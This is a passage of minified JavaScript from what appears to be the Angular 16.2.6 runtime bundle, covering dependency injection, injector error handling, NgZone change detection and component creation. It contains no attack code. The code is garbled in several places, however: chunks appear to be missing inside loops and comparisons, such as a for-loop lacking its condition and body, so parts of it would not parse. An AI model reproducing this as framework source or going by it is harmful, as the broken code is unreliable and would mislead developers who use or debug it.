s;Kl()}finally{Qp()}}else if("number"==typeof i){let s=null,a=rg(e,t),l=xr,u=n&z.Host?t[we][He]:null;for((-1===a||n&z.SkipSelf)&&(l=-1===a?Os(e,t):t[a+8],l!==xr&&ug(n,!1)?(s=t[E],a=Qo(l),t=Xo(l,t)):a=-1);-1!==a;){const c=t[E];if(lg(i,a,c.data)){const d=VM(a,t,r,s,n,u);if(d!==Kt)return d}l=t[a+8],l!==xr&&ug(n,t[E].data[a+8]===u)&&lg(i,a,t)?(s=c,a=Qo(l),t=Xo(l,t)):a=-1}}return o}function VM(e,t,r,n,o,i){const s=t[E],a=s.data[e+8],c=function Ps(e,t,r,n,o){const i=e.providerIndexes,s=t.data,a=1048575&i,l=e.directiveStart,c=i>>20,f=o?a+c:e.directiveEnd;for(let h=n?a:a+c;h=l&&p.type===r)return h}if(o){const h=s[l];if(h&&jt(h)&&h.type===r)return l}return null}(a,s,r,null==n?Kn(a)&&xu:n!=s&&0!=(3&a.type),o&z.Host&&i===a);return null!==c?nr(t,s,c,a):Kt}function nr(e,t,r,n){let o=e[r];const i=t.data;if(function xM(e){return e instanceof Yo}(o)){const s=o;s.resolving&&function s0(e,t){const r=t?`. Dependency path: ${t.join(" > ")} > ${e}`:"";throw new D(-200,`Circular dependency in DI detected for ${e}${r}`)}(function J(e){return"function"==typeof e?e.name||e.toString():"object"==typeof e&&null!=e&&"function"==typeof e.type?e.type.name||e.type.toString():L(e)}(i[r]));const a=xs(s.canSeeViewProviders);s.resolving=!0;const u=s.injectImpl?tt(s.injectImpl):null;qp(e,n,z.Default);try{o=e[r]=s.factory(void 0,i,e,n),t.firstCreatePass&&r>=n.directiveStart&&function TM(e,t,r){const{ngOnChanges:n,ngOnInit:o,ngDoCheck:i}=t.type.prototype;if(n){const s=Tp(t);(r.preOrderHooks??=[]).push(e,s),(r.preOrderCheckHooks??=[]).push(e,s)}o&&(r.preOrderHooks??=[]).push(0-e,o),i&&((r.preOrderHooks??=[]).push(e,i),(r.preOrderCheckHooks??=[]).push(e,i))}(r,i[r],t)}finally{null!==u&&tt(u),xs(a),s.resolving=!1,Qp()}}return o}function lg(e,t,r){return!!(r[t+(e>>ng)]&1<{const t=e.prototype.constructor,r=t[cn]||Pu(t),n=Object.prototype;let o=Object.getPrototypeOf(e.prototype).constructor;for(;o&&o!==n;){const i=o[cn]||Pu(o);if(i&&i!==r)return i;o=Object.getPrototypeOf(o)}return i=>new i})}function Pu(e){return Xl(e)?()=>{const t=Pu(F(e));return t&&t()}:er(e)}function cg(e){const t=e[E],r=t.type;return 2===r?t.declTNode:1===r?e[He]:null}const Or="__parameters__";function Fr(e,t,r){return un(()=>{const n=function Fu(e){return function(...r){if(e){const n=e(...r);for(const o in n)this[o]=n[o]}}}(t);function o(...i){if(this instanceof o)return n.apply(this,i),this;const s=new o(...i);return a.annotation=s,a;function a(l,u,c){const d=l.hasOwnProperty(Or)?l[Or]:Object.defineProperty(l,Or,{value:[]})[Or];for(;d.length<=c;)d.push(null);return(d[c]=d[c]||[]).push(s),l}}return r&&(o.prototype=Object.create(r.prototype)),o.prototype.ngMetadataName=e,o.annotationCls=o,o})}function Lr(e,t){e.forEach(r=>Array.isArray(r)?Lr(r,t):t(r))}function fg(e,t,r){t>=e.length?e.push(r):e.splice(t,0,r)}function ks(e,t){return t>=e.length-1?e.pop():e.splice(t,1)[0]}function ht(e,t,r){let n=Vr(e,t);return n>=0?e[1|n]=r:(n=~n,function YM(e,t,r,n){let o=e.length;if(o==t)e.push(r,n);else if(1===o)e.push(n,e[0]),e[0]=r;else{for(o--,e.push(e[o-1],e[o]);o>t;)e[o]=e[o-2],o--;e[t]=r,e[t+1]=n}}(e,n,t,r)),n}function ku(e,t){const r=Vr(e,t);if(r>=0)return e[1|r]}function Vr(e,t){return function hg(e,t,r){let n=0,o=e.length>>r;for(;o!==n;){const i=n+(o-n>>1),s=e[i<t?o=i:n=i+1}return~(o<0&&(e[r-1][Vt]=n[Vt]);const i=ks(e,ke+t);!function RI(e,t){ii(e,t,t[V],2,null,null),t[ve]=null,t[He]=null}(n[E],n);const s=i[Yt];null!==s&&s.detachView(i[E]),n[pe]=null,n[Vt]=null,n[B]&=-129}return n}function Wu(e,t){if(!(256&t[B])){const r=t[V];t[zo]&&Cp(t[zo]),t[Go]&&Cp(t[Go]),r.destroyNode&&ii(e,t,r,3,null,null),function FI(e){let t=e[Ho];if(!t)return Zu(e[E],e);for(;t;){let r=null;if(rt(t))r=t[Ho];else{const n=t[ke];n&&(r=n)}if(!r){for(;t&&!t[Vt]&&t!==e;)rt(t)&&Zu(t[E],t),t=t[pe];null===t&&(t=e),rt(t)&&Zu(t[E],t),r=t&&t[Vt]}t=r}}(t)}}function Zu(e,t){if(!(256&t[B])){t[B]&=-129,t[B]|=256,function jI(e,t){let r;if(null!=e&&null!=(r=e.destroyHooks))for(let n=0;n=0?n[s]():n[-s].unsubscribe(),i+=2}else r[i].call(n[r[i+1]]);null!==n&&(t[wr]=null);const o=t[Rn];if(null!==o){t[Rn]=null;for(let i=0;i-1){const{encapsulation:i}=e.data[n.directiveStart+o];if(i===Ft.None||i===Ft.Emulated)return null}return ot(n,r)}}(e,t.parent,r)}function rr(e,t,r,n,o){e.insertBefore(t,r,n,o)}function jg(e,t,r){e.appendChild(t,r)}function Bg(e,t,r,n,o){null!==n?rr(e,t,r,n,o):jg(e,t,r)}function Ys(e,t){return e.parentNode(t)}let Qu,ec,Ug=function $g(e,t,r){return 40&e.type?ot(e,r):null};function Qs(e,t,r,n){const o=Yu(e,n,t),i=t[V],a=function Hg(e,t,r){return Ug(e,t,r)}(n.parent||t[He],n,t);if(null!=o)if(Array.isArray(r))for(let l=0;l{r.push(s)};return Lr(t,s=>{const a=s;ta(a,i,[],n)&&(o||=[],o.push(a))}),void 0!==o&&dm(o,i),r}function dm(e,t){for(let r=0;r{t(i,n)})}}function ta(e,t,r,n){if(!(e=F(e)))return!1;let o=null,i=ps(e);const s=!i&&q(e);if(i||s){if(s&&!s.standalone)return!1;o=e}else{const l=e.ngModule;if(i=ps(l),!i)return!1;o=l}const a=n.has(o);if(s){if(a)return!1;if(n.add(o),s.dependencies){const l="function"==typeof s.dependencies?s.dependencies():s.dependencies;for(const u of l)ta(u,t,r,n)}}else{if(!i)return!1;{if(null!=i.imports&&!a){let u;n.add(o);try{Lr(i.imports,c=>{ta(c,t,r,n)&&(u||=[],u.push(c))})}finally{}void 0!==u&&dm(u,t)}if(!a){const u=er(o)||(()=>new o);t({provide:o,useFactory:u,deps:Z},o),t({provide:um,useValue:o,multi:!0},o),t({provide:ui,useValue:()=>N(o),multi:!0},o)}const l=i.providers;if(null!=l&&!a){const u=e;uc(l,c=>{t(c,u)})}}}return o!==e&&void 0!==e.providers}function uc(e,t){for(let r of e)Jl(r)&&(r=r.\u0275providers),Array.isArray(r)?uc(r,t):t(r)}const _S=te({provide:String,useValue:te});function cc(e){return null!==e&&"object"==typeof e&&_S in e}function or(e){return"function"==typeof e}const dc=new I("Set Injector scope."),na={},CS={};let fc;function ra(){return void 0===fc&&(fc=new ac),fc}class pt{}class oa extends pt{get destroyed(){return this._destroyed}constructor(t,r,n,o){super(),this.parent=r,this.source=n,this.scopes=o,this.records=new Map,this._ngOnDestroyHooks=new Set,this._onDestroyHooks=[],this._destroyed=!1,pc(t,s=>this.processProvider(s)),this.records.set(lm,Gr(void 0,this)),o.has("environment")&&this.records.set(pt,Gr(void 0,this));const i=this.records.get(dc);null!=i&&"string"==typeof i.value&&this.scopes.add(i.value),this.injectorDefTypes=new Set(this.get(um.multi,Z,z.Self))}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{for(const r of this._ngOnDestroyHooks)r.ngOnDestroy();const t=this._onDestroyHooks;this._onDestroyHooks=[];for(const r of t)r()}finally{this.records.clear(),this._ngOnDestroyHooks.clear(),this.injectorDefTypes.clear()}}onDestroy(t){return this.assertNotDestroyed(),this._onDestroyHooks.push(t),()=>this.removeOnDestroy(t)}runInContext(t){this.assertNotDestroyed();const r=Nn(this),n=tt(void 0);try{return t()}finally{Nn(r),tt(n)}}get(t,r=ko,n=z.Default){if(this.assertNotDestroyed(),t.hasOwnProperty(Jh))return t[Jh](this);n=vs(n);const i=Nn(this),s=tt(void 0);try{if(!(n&z.SkipSelf)){let l=this.records.get(t);if(void 0===l){const u=function IS(e){return"function"==typeof e||"object"==typeof e&&e instanceof I}(t)&&hs(t);l=u&&this.injectableDefInScope(u)?Gr(hc(t),na):null,this.records.set(t,l)}if(null!=l)return this.hydrate(t,l)}return(n&z.Self?ra():this.parent).get(t,r=n&z.Optional&&r===ko?null:r)}catch(a){if("NullInjectorError"===a.name){if((a[ms]=a[ms]||[]).unshift(Te(t)),i)throw a;return function C0(e,t,r,n){const o=e[ms];throw t[Yh]&&o.unshift(t[Yh]),e.message=function w0(e,t,r,n=null){e=e&&"\n"===e.charAt(0)&&"\u0275"==e.charAt(1)?e.slice(2):e;let o=Te(t);if(Array.isArray(t))o=t.map(Te).join(" -> ");else if("object"==typeof t){let i=[];for(let s in t)if(t.hasOwnProperty(s)){let a=t[s];i.push(s+":"+("string"==typeof a?JSON.stringify(a):Te(a)))}o=`{${i.join(", ")}}`}return`${r}${n?"("+n+")":""}[${o}]: ${e.replace(m0,"\n ")}`}("\n"+e.message,o,r,n),e.ngTokenPath=o,e[ms]=null,e}(a,t,"R3InjectorError",this.source)}throw a}finally{tt(s),Nn(i)}}resolveInjectorInitializers(){const t=Nn(this),r=tt(void 0);try{const o=this.get(ui.multi,Z,z.Self);for(const i of o)i()}finally{Nn(t),tt(r)}}toString(){const t=[],r=this.records;for(const n of r.keys())t.push(Te(n));return`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new D(205,!1)}processProvider(t){let r=or(t=F(t))?t:F(t&&t.provide);const n=function bS(e){return cc(e)?Gr(void 0,e.useValue):Gr(pm(e),na)}(t);if(or(t)||!0!==t.multi)this.records.get(r);else{let o=this.records.get(r);o||(o=Gr(void 0,na,!0),o.factory=()=>au(o.multi),this.records.set(r,o)),r=t,o.multi.push(t)}this.records.set(r,n)}hydrate(t,r){return r.value===na&&(r.value=CS,r.value=r.factory()),"object"==typeof r.value&&r.value&&function MS(e){return null!==e&&"object"==typeof e&&"function"==typeof e.ngOnDestroy}(r.value)&&this._ngOnDestroyHooks.add(r.value),r.value}injectableDefInScope(t){if(!t.providedIn)return!1;const r=F(t.providedIn);return"string"==typeof r?"any"===r||this.scopes.has(r):this.injectorDefTypes.has(r)}removeOnDestroy(t){const r=this._onDestroyHooks.indexOf(t);-1!==r&&this._onDestroyHooks.splice(r,1)}}function hc(e){const t=hs(e),r=null!==t?t.factory:er(e);if(null!==r)return r;if(e instanceof I)throw new D(204,!1);if(e instanceof Function)return function wS(e){const t=e.length;if(t>0)throw function ei(e,t){const r=[];for(let n=0;nr.factory(e):()=>new e}(e);throw new D(204,!1)}function pm(e,t,r){let n;if(or(e)){const o=F(e);return er(o)||hc(o)}if(cc(e))n=()=>F(e.useValue);else if(function hm(e){return!(!e||!e.useFactory)}(e))n=()=>e.useFactory(...au(e.deps||[]));else if(function fm(e){return!(!e||!e.useExisting)}(e))n=()=>N(F(e.useExisting));else{const o=F(e&&(e.useClass||e.provide));if(!function ES(e){return!!e.deps}(e))return er(o)||hc(o);n=()=>new o(...au(e.deps))}return n}function Gr(e,t,r=!1){return{factory:e,value:t,multi:r?[]:void 0}}function pc(e,t){for(const r of e)Array.isArray(r)?pc(r,t):r&&Jl(r)?pc(r.\u0275providers,t):t(r)}const ia=new I("AppId",{providedIn:"root",factory:()=>SS}),SS="ng",gm=new I("Platform Initializer"),ir=new I("Platform ID",{providedIn:"platform",factory:()=>"unknown"}),mm=new I("CSP nonce",{providedIn:"root",factory:()=>function Ur(){if(void 0!==ec)return ec;if(typeof document<"u")return document;throw new D(210,!1)}().body?.querySelector("[ngCspNonce]")?.getAttribute("ngCspNonce")||null});let vm=(e,t,r)=>null;function wc(e,t,r=!1){return vm(e,t,r)}class LS{}class Dm{}class jS{resolveComponentFactory(t){throw function VS(e){const t=Error(`No component factory found for ${Te(e)}.`);return t.ngComponent=e,t}(t)}}let da=(()=>{class t{}return t.NULL=new jS,t})();function BS(){return Zr(Ve(),_())}function Zr(e,t){return new gt(ot(e,t))}let gt=(()=>{class t{constructor(n){this.nativeElement=n}}return t.__NG_ELEMENT_ID__=BS,t})();class wm{}let gn=(()=>{class t{constructor(){this.destroyNode=null}}return t.__NG_ELEMENT_ID__=()=>function $S(){const e=_(),r=ft(Ve().index,e);return(rt(r)?r:e)[V]}(),t})(),US=(()=>{var e;class t{}return(e=t).\u0275prov=x({token:e,providedIn:"root",factory:()=>null}),t})();class fi{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const zS=new fi("16.2.6"),Mc={};function Im(e,t=null,r=null,n){const o=Sm(e,t,r,n);return o.resolveInjectorInitializers(),o}function Sm(e,t=null,r=null,n,o=new Set){const i=[r||Z,yS(e)];return n=n||("object"==typeof e?void 0:Te(e)),new oa(i,t||ra(),n||null,o)}let mt=(()=>{var e;class t{static create(n,o){if(Array.isArray(n))return Im({name:""},o,n,"");{const i=n.name??"";return Im({name:i},n.parent,n.providers,i)}}}return(e=t).THROW_IF_NOT_FOUND=ko,e.NULL=new ac,e.\u0275prov=x({token:e,providedIn:"any",factory:()=>N(lm)}),e.__NG_ELEMENT_ID__=-1,t})();function Sc(e){return e.ngOriginalError}class mn{constructor(){this._console=console}handleError(t){const r=this._findOriginalError(t);this._console.error("ERROR",t),r&&this._console.error("ORIGINAL ERROR",r)}_findOriginalError(t){let r=t&&Sc(t);for(;r&&Sc(r);)r=Sc(r);return r||null}}function Tc(e){return t=>{setTimeout(e,void 0,t)}}const ye=class XS extends Ot{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,r,n){let o=t,i=r||(()=>null),s=n;if(t&&"object"==typeof t){const l=t;o=l.next?.bind(l),i=l.error?.bind(l),s=l.complete?.bind(l)}this.__isAsync&&(i=Tc(i),o&&(o=Tc(o)),s&&(s=Tc(s)));const a=super.subscribe({next:o,error:i,complete:s});return t instanceof lt&&t.add(a),a}};function Tm(...e){}class de{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:r=!1,shouldCoalesceRunChangeDetection:n=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new ye(!1),this.onMicrotaskEmpty=new ye(!1),this.onStable=new ye(!1),this.onError=new ye(!1),typeof Zone>"u")throw new D(908,!1);Zone.assertZonePatched();const o=this;o._nesting=0,o._outer=o._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(o._inner=o._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(o._inner=o._inner.fork(Zone.longStackTraceZoneSpec)),o.shouldCoalesceEventChangeDetection=!n&&r,o.shouldCoalesceRunChangeDetection=n,o.lastRequestAnimationFrameId=-1,o.nativeRequestAnimationFrame=function JS(){const e="function"==typeof ue.requestAnimationFrame;let t=ue[e?"requestAnimationFrame":"setTimeout"],r=ue[e?"cancelAnimationFrame":"clearTimeout"];if(typeof Zone<"u"&&t&&r){const n=t[Zone.__symbol__("OriginalDelegate")];n&&(t=n);const o=r[Zone.__symbol__("OriginalDelegate")];o&&(r=o)}return{nativeRequestAnimationFrame:t,nativeCancelAnimationFrame:r}}().nativeRequestAnimationFrame,function tA(e){const t=()=>{!function eA(e){e.isCheckStableRunning||-1!==e.lastRequestAnimationFrameId||(e.lastRequestAnimationFrameId=e.nativeRequestAnimationFrame.call(ue,()=>{e.fakeTopEventTask||(e.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{e.lastRequestAnimationFrameId=-1,xc(e),e.isCheckStableRunning=!0,Nc(e),e.isCheckStableRunning=!1},void 0,()=>{},()=>{})),e.fakeTopEventTask.invoke()}),xc(e))}(e)};e._inner=e._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(r,n,o,i,s,a)=>{if(function rA(e){return!(!Array.isArray(e)||1!==e.length)&&!0===e[0].data?.__ignore_ng_zone__}(a))return r.invokeTask(o,i,s,a);try{return Nm(e),r.invokeTask(o,i,s,a)}finally{(e.shouldCoalesceEventChangeDetection&&"eventTask"===i.type||e.shouldCoalesceRunChangeDetection)&&t(),xm(e)}},onInvoke:(r,n,o,i,s,a,l)=>{try{return Nm(e),r.invoke(o,i,s,a,l)}finally{e.shouldCoalesceRunChangeDetection&&t(),xm(e)}},onHasTask:(r,n,o,i)=>{r.hasTask(o,i),n===o&&("microTask"==i.change?(e._hasPendingMicrotasks=i.microTask,xc(e),Nc(e)):"macroTask"==i.change&&(e.hasPendingMacrotasks=i.macroTask))},onHandleError:(r,n,o,i)=>(r.handleError(o,i),e.runOutsideAngular(()=>e.onError.emit(i)),!1)})}(o)}static isInAngularZone(){return typeof Zone<"u"&&!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!de.isInAngularZone())throw new D(909,!1)}static assertNotInAngularZone(){if(de.isInAngularZone())throw new D(909,!1)}run(t,r,n){return this._inner.run(t,r,n)}runTask(t,r,n,o){const i=this._inner,s=i.scheduleEventTask("NgZoneEvent: "+o,t,KS,Tm,Tm);try{return i.runTask(s,r,n)}finally{i.cancelTask(s)}}runGuarded(t,r,n){return this._inner.runGuarded(t,r,n)}runOutsideAngular(t){return this._outer.run(t)}}const KS={};function Nc(e){if(0==e._nesting&&!e.hasPendingMicrotasks&&!e.isStable)try{e._nesting++,e.onMicrotaskEmpty.emit(null)}finally{if(e._nesting--,!e.hasPendingMicrotasks)try{e.runOutsideAngular(()=>e.onStable.emit(null))}finally{e.isStable=!0}}}function xc(e){e.hasPendingMicrotasks=!!(e._hasPendingMicrotasks||(e.shouldCoalesceEventChangeDetection||e.shouldCoalesceRunChangeDetection)&&-1!==e.lastRequestAnimationFrameId)}function Nm(e){e._nesting++,e.isStable&&(e.isStable=!1,e.onUnstable.emit(null))}function xm(e){e._nesting--,Nc(e)}class nA{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new ye,this.onMicrotaskEmpty=new ye,this.onStable=new ye,this.onError=new ye}run(t,r,n){return t.apply(r,n)}runGuarded(t,r,n){return t.apply(r,n)}runOutsideAngular(t){return t()}runTask(t,r,n,o){return t.apply(r,n)}}const Rm=new I("",{providedIn:"root",factory:Om});function Om(){const e=M(de);let t=!0;return function t0(...e){const t=Fo(e),r=function ZE(e,t){return"number"==typeof Zl(e)?e.pop():t}(e,1/0),n=e;return n.length?1===n.length?ut(n[0]):_r(r)(Ae(n,t)):Wt}(new De(o=>{t=e.isStable&&!e.hasPendingMacrotasks&&!e.hasPendingMicrotasks,e.runOutsideAngular(()=>{o.next(t),o.complete()})}),new De(o=>{let i;e.runOutsideAngular(()=>{i=e.onStable.subscribe(()=>{de.assertNotInAngularZone(),queueMicrotask(()=>{!t&&!e.hasPendingMacrotasks&&!e.hasPendingMicrotasks&&(t=!0,o.next(!0))})})});const s=e.onUnstable.subscribe(()=>{de.assertInAngularZone(),t&&(t=!1,e.runOutsideAngular(()=>{o.next(!1)}))});return()=>{i.unsubscribe(),s.unsubscribe()}}).pipe($h()))}function vn(e){return e instanceof Function?e():e}let Rc=(()=>{var e;class t{constructor(){this.renderDepth=0,this.handler=null}begin(){this.handler?.validateBegin(),this.renderDepth++}end(){this.renderDepth--,0===this.renderDepth&&this.handler?.execute()}ngOnDestroy(){this.handler?.destroy(),this.handler=null}}return(e=t).\u0275prov=x({token:e,providedIn:"root",factory:()=>new e}),t})();function hi(e){for(;e;){e[B]|=64;const t=ri(e);if(hu(e)&&!t)return e;e=t}return null}const Vm=new I("",{providedIn:"root",factory:()=>!1});let ha=null;function $m(e,t){return e[t]??Gm()}function Um(e,t){const r=Gm();r.producerNode?.length&&(e[t]=ha,r.lView=e,ha=zm())}const hA={...gp,consumerIsAlwaysLive:!0,consumerMarkedDirty:e=>{hi(e.lView)},lView:null};function zm(){return Object.create(hA)}function Gm(){return ha??=zm(),ha}const j={};function K(e){qm(W(),_(),Ye()+e,!1)}function qm(e,t,r,n){if(!n)if(3==(3&t[B])){const i=e.preOrderCheckHooks;null!==i&&Ts(t,i,r)}else{const i=e.preOrderHooks;null!==i&&Ns(t,i,0,r)}tr(r)}function C(e,t=z.Default){const r=_();return null===r?N(e,t):sg(Ve(),r,F(e),t)}function pa(e,t,r,n,o,i,s,a,l,u,c){const d=t.blueprint.slice();return d[ve]=o,d[B]=140|n,(null!==u||e&&2048&e[B])&&(d[B]|=2048),Fp(d),d[pe]=d[Er]=e,d[Ce]=r,d[br]=s||e&&e[br],d[V]=a||e&&e[V],d[xn]=l||e&&e[xn]||null,d[He]=i,d[Uo]=function DI(){return _I++}(),d[dn]=c,d[dp]=u,d[we]=2==t.type?e[we]:d,d}function Xr(e,t,r,n,o){let i=e.data[t];if(null===i)i=function Oc(e,t,r,n,o){const i=Hp(),s=Cu(),l=e.data[t]=function CA(e,t,r,n,o,i){let s=t?t.injectorIndex:-1,a=0;return function Tr(){return null!==P.skipHydrationRootTNode}()&&(a|=128),{type:r,index:n,insertBeforeIndex:null,injectorIndex:s,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,componentOffset:-1,propertyBindings:null,flags:a,providerIndexes:0,value:o,attrs:i,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tView:null,next:null,prev:null,projectionNext:null,child:null,parent:t,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,s?i:i&&i.parent,r,t,n,o);return null===e.firstChild&&(e.firstChild=l),null!==i&&(s?null==i.child&&null!==l.parent&&(i.child=l):null===i.next&&(i.next=l,l.prev=i)),l}(e,t,r,n,o),function _M(){return P.lFrame.inI18n}()&&(i.flags|=32);else if(64&i.type){i.type=r,i.value=n,i.attrs=o;const s=function Zo(){const e=P.lFrame,t=e.currentTNode;return e.isParent?t:t.parent}();i.injectorIndex=null===s?-1:s.injectorIndex}return Jt(i,!0),i}function pi(e,t,r,n){if(0===r)return-1;const o=t.length;for(let i=0;iG&&qm(e,t,G,!1),Xt(a?2:0,o);const u=a?i:null,c=gu(u);try{null!==u&&(u.dirty=!1),r(n,o)}finally{mu(u,c)}}finally{a&&null===t[zo]&&Um(t,zo),tr(s),Xt(a?3:1,o)}}function Pc(e,t,r){if(fu(t)){const n=Et(null);try{const i=t.directiveEnd;for(let s=t.directiveStart;snull;function Xm(e,t,r,n){for(let o in e)if(e.hasOwnProperty(o)){r=null===r?{}:r;const i=e[o];null===n?Jm(r,t,o,i):n.hasOwnProperty(o)&&Jm(r,t,n[o],i)}return r}function Jm(e,t,r,n){e.hasOwnProperty(r)?e[r].push(t,n):e[r]=[t,n]}function Vc(e,t,r,n){if(Bp()){const o=null===n?null:{"":-1},i=function NA(e,t){const r=e.directiveRegistry;let n=null,o=null;if(r)for(let i=0;i0;){const r=e[--t];if("number"==typeof r&&r<0)return r}return 0})(s)!=a&&s.push(a),s.push(r,n,i)}}(e,t,n,pi(e,r,o.hostVars,j),o)}function en(e,t,r,n,o,i){const s=ot(e,t);!function Bc(e,t,r,n,o,i,s){if(null==i)e.removeAttribute(t,o,r);else{const a=null==s?L(i):s(i,n||"",o);e.setAttribute(t,o,a,r)}}(t[V],s,i,e.value,r,n,o)}function kA(e,t,r,n,o,i){const s=i[t];if(null!==s)for(let a=0;a{var e;class t{constructor(){this.all=new Set,this.queue=new Map}create(n,o,i){const s=typeof Zone>"u"?null:Zone.current,a=function X0(e,t,r){const n=Object.create(J0);r&&(n.consumerAllowSignalWrites=!0),n.fn=e,n.schedule=t;const o=s=>{n.cleanupFn=s};return n.ref={notify:()=>_p(n),run:()=>{if(n.dirty=!1,n.hasRun&&!Dp(n))return;n.hasRun=!0;const s=gu(n);try{n.cleanupFn(),n.cleanupFn=Ap,n.fn(o)}finally{mu(n,s)}},cleanup:()=>n.cleanupFn()},n.ref}(n,c=>{this.all.has(c)&&this.queue.set(c,s)},i);let l;this.all.add(a),a.notify();const u=()=>{a.cleanup(),l?.(),this.all.delete(a),this.queue.delete(a)};return l=o?.onDestroy(u),{destroy:u}}flush(){if(0!==this.queue.size)for(const[n,o]of this.queue)this.queue.delete(n),o?o.run(()=>n.run()):n.run()}get isQueueEmpty(){return 0===this.queue.size}}return(e=t).\u0275prov=x({token:e,providedIn:"root",factory:()=>new e}),t})();function ma(e,t,r){let n=r?e.styles:null,o=r?e.classes:null,i=0;if(null!==t)for(let s=0;s0){dv(e,1);const o=r.components;null!==o&&hv(e,o,1)}}function hv(e,t,r){for(let n=0;n-1&&(Zs(t,n),ks(r,n))}this._attachedToViewContainer=!1}Wu(this._lView[E],this._lView)}onDestroy(t){!function Vp(e,t){if(256==(256&e[B]))throw new D(911,!1);null===e[Rn]&&(e[Rn]=[]),e[Rn].push(t)}(this._lView,t)}markForCheck(){hi(this._cdRefInjectingView||this._lView)}detach(){this._lView[B]&=-129}reattach(){this._lView[B]|=128}detectChanges(){va(this._lView[E],this._lView,this.context)}checkNoChanges(){}attachToViewContainerRef(){if(this._appRef)throw new D(902,!1);this._attachedToViewContainer=!0}detachFromAppRef(){this._appRef=null,function PI(e,t){ii(e,t,t[V],2,null,null)}(this._lView[E],this._lView)}attachToAppRef(t){if(this._attachedToViewContainer)throw new D(902,!1);this._appRef=t}}class GA extends mi{constructor(t){super(t),this._view=t}detectChanges(){const t=this._view;va(t[E],t,t[Ce],!1)}checkNoChanges(){}get context(){return null}}class pv extends da{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const r=q(t);return new vi(r,this.ngModule)}}function gv(e){const t=[];for(let r in e)e.hasOwnProperty(r)&&t.push({propName:e[r],templateName:r});return t}class WA{constructor(t,r){this.injector=t,this.parentInjector=r}get(t,r,n){n=vs(n);const o=this.injector.get(t,Mc,n);return o!==Mc||r===Mc?o:this.parentInjector.get(t,r,n)}}class vi extends Dm{get inputs(){const t=this.componentDef,r=t.inputTransforms,n=gv(t.inputs);if(null!==r)for(const o of n)r.hasOwnProperty(o.propName)&&(o.transform=r[o.propName]);return n}get outputs(){return gv(this.componentDef.outputs)}constructor(t,r){super(),this.componentDef=t,this.ngModule=r,this.componentType=t.type,this.selector=function R0(e){return e.map(x0).join(",")}(t.selectors),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!r}create(t,r,n,o){let i=(o=o||this.ngModule)instanceof pt?o:o?.injector;i&&null!==this.componentDef.getStandaloneInjector&&(i=this.componentDef.getStandaloneInjector(i)||i);const s=i?new WA(t,i):t,a=s.get(wm,null);if(null===a)throw new D(407,!1);const d={rendererFactory:a,sanitizer:s.get(US,null),effectManager:s.get(lv,null),afterRenderEventManager:s.get(Rc,null)},f=a.createRenderer(null,this.componentDef),h=this.componentDef.selectors[0][0]||"div",p=n?function mA(e,t,r,n){const i=n.get(Vm,!1)||r===Ft.ShadowDom,s=e.selectRootElement(t,i);return function vA(e){Qm(e)}(s),s}(f,n,this.componentDef.encapsulation,s):Ws(f,h,function qA(e){const t=e.toLowerCase();return"svg"===t?"svg":"math"===t?"math":null}(h)),y=this.componentDef.signals?4608:this.componentDef.onPush?576:528;let m=null;null!==p&&(m=wc(p,s,!0));const T=Lc(0,null,null,1,0,null,null,null,null,null,null),A=pa(null,T,null,y,null,null,d,f,s,null,m);let U,Be;Iu(A);try{const Dt=this.componentDef;let yr,Ll=null;Dt.findHostDirectiveDefs?(yr=[],Ll=new Map,Dt.findHostDirectiveDefs(Dt,yr,Ll),yr.push(Dt)):yr=[Dt];const WV=function YA(e,t){const r=e[E],n=G;return e[n]=t,Xr(r,n,2,"#host",null)}(A,p),ZV=function QA(e,t,r,n,o,i,s){const a=o[E];!function XA(e,t,r,n){for(const o of e)t.mergedAttrs=jo(t.mergedAttrs,o.hostAttrs);null!==t.mergedAttrs&&(ma(t,t.mergedAttrs,!0),null!==r&&Yg(n,r,t))}(n,e,t,s);let l=null;null!==t&&(l=wc(t,o[xn]));const u=i.rendererFactory.createRenderer(t,r);let c=16;r.signals?c=4096:r.onPush&&(c=64);const d=pa(o,Ym(r),null,c,o[e.index],e,i,u,null,null,l);return a.firstCreatePass&&jc(a,e,n.length-1),ga(o,d),o[e.index]=d}(WV,p,Dt,yr,A,d,f);Be=Pp(T,G),p&&function KA(e,t,r,n){if(n)cu(e,r,["ng-version",zS.full]);else{const{attrs:o,classes:i}=function O0(e){const t=[],r=[];let n=1,o=2;for(;n0&&Zg(e,r,i.join(" "))}}(f,Dt,p,n),void 0!==r&&function eT(e,t,r){const n=e.projection=[];for(let o=0;o=0;n--){const o=e[n];o.hostVars=t+=o.hostVars,o.hostAttrs=jo(o.hostAttrs,r=jo(r,o.hostAttrs))}}(n)}function ya(e){return e===Zt?{}:e===Z?[]:e}function rT(e,t){const r=e.viewQuery;e.viewQuery=r?(n,o)=>{t(n,o),r(n,o)}:t}function oT(e,t){const r=e.contentQueries;e.contentQueries=r?(n,o,i)=>{t(n,o,i),r(n,o,i)}:t}function iT(e,t){const r=e.hostBindings;e.hostBindings=r?(n,o)=>{t(n,o),r(n,o)}:t}function _a(e){return!!function zc(e){return null!==e&&("function"==typeof e||"object"==typeof e)}(e)&&(Array.isArray(e)||!(e instanceof Map)&&Symbol.iterator in e)}function Ue(e,t,r){return!Object.is(e[t],r)&&(e[t]=r,!0)}function Bt(e,t,r,n){const o=_();return 